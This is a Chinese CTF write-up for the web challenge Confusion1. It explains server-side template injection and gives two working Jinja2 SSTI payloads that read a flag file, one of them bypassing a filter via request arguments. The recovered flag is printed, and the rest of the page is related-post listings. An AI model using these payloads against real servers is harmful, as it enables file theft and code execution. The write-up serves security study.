前言

SSTI漏洞（Server Side Template Injection，服务端模板注入漏洞）是一种 web 应用程序中的安全漏洞，它允许攻击者通过在模板中注入恶意代码，执行服务器端的任意代码。模板通常用于 web 应用程序中的动态内容生成，这些模板经常包含逻辑控制语句和变量插入。攻击者可以利用模板中缺乏输入验证和过滤来注入任意的代码，从而实现任意代码执行，甚至是远程命令执行。SSTI漏洞是一种危险性较高的漏洞，因为攻击者可以完全控制服务器端执行的代码和结果。

一、Confusion1

1.题目

2.答题

__class__() 返回对象的类
__base__()/__mro__() 返回类所继承的基类
__subclasses__() 返回继承类的所有子类

测试pyaload：

{{"".__class__.__mro__[2].__subclasses__()[40]("/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt").read()}}

发现被过滤了

参数替换payload：

{{''[request.args.a][request.args.b][2][request.args.c]()[40]('/opt/flag_1de36dff62a3a54ecfbc6e1fd2ef0ad1.txt')[request.args.d]()}}?&a=__class__&b=__mro__&c=__subclasses__&d=read

得到flag：cyberpeace{8542f410d961a14be7aa7778e0f366a4}

【愚公系列】2023年05月攻防世界-Web（Confusion1）相关推荐

【愚公系列】2023年05月攻防世界-Web（lottery）
文章目录前言一.lottery 1.题目 2.答题前言 dirsearch是一个用于Web服务器的爬虫工具,它可以快速地扫描网站的目录,并找出隐藏的文件和目录.dirsearch可以检测出许多常 ...
【愚公系列】2023年05月攻防世界-Web（unseping）
文章目录前言一.unseping 1.题目 2.答题前言反序列化漏洞是一种安全漏洞,存在于那些使用序列化技术的应用程序中.反序列化是将已序列化数据还原回对象的过程.攻击者可以通过构造恶意序列化 ...
【愚公系列】2023年05月攻防世界-Web（shrine）
文章目录前言一.shrine 1.题目 2.答题前言 Flask是一个轻量级的Web应用程序框架,用于Python编程语言.它是基于Werkzeug WSGI工具箱和Jinja2模板引擎构建的. ...
【愚公系列】2023年05月攻防世界-Web（FlatScience）
文章目录前言一.FlatScience 1.题目 2.答题前言 Robots协议,也称作robots.txt,是一种在Web站点中告诉搜索引擎蜘蛛哪些页面可以被访问的协议.该协议规定了机器人在访 ...
【愚公系列】2023年05月攻防世界-Web（file_include）
文章目录前言 1.文件包含漏洞 2.php伪协议 3.php包含漏洞函数一.file_include 1.题目 2.答题总结前言 1.文件包含漏洞文件包含漏洞(File Inclusion ...
【愚公系列】2023年05月攻防世界-Web（Web_php_include）
文章目录前言 1.文件包含漏洞 2.php伪协议 3.php包含漏洞函数一.Web_php_include 1.题目 2.答题 2.1 伪协议解题 2.2 中国蚁剑 2.3 数据库写入前言 1. ...
【愚公系列】2023年05月攻防世界-Web（fileclude）
文章目录前言 1.文件包含漏洞 2.php伪协议一.fileclude 1.题目 2.答题前言 1.文件包含漏洞文件包含漏洞(File Inclusion Vulnerability)是一种常 ...
【愚公系列】2023年05月攻防世界-Web（fileinclude）
文章目录前言 1.文件包含漏洞 2.php伪协议一.fileinclude 1.题目 2.答题前言 1.文件包含漏洞文件包含漏洞(File Inclusion Vulnerability)是一 ...
【愚公系列】2023年05月攻防世界-Web（Web_php_unserialize）
文章目录前言一.Web_php_unserialize 1.题目 2.答题前言 PHP的序列化漏洞是一种安全漏洞,攻击者可以利用这种漏洞来执行恶意代码或获取敏感信息.具体来说,攻击者可以通过在序 ...

【愚公系列】2023年05月攻防世界-Web（Confusion1）

文章目录

前言

一、Confusion1

1.题目

2.答题

【愚公系列】2023年05月攻防世界-Web（Confusion1）相关推荐

最新文章

热门文章

【愚公系列】2023年05月 攻防世界-Web（Confusion1）

文章目录

前言

一、Confusion1

1.题目

2.答题

【愚公系列】2023年05月 攻防世界-Web（Confusion1）相关推荐

最新文章

热门文章

【愚公系列】2023年05月攻防世界-Web（Confusion1）

【愚公系列】2023年05月攻防世界-Web（Confusion1）相关推荐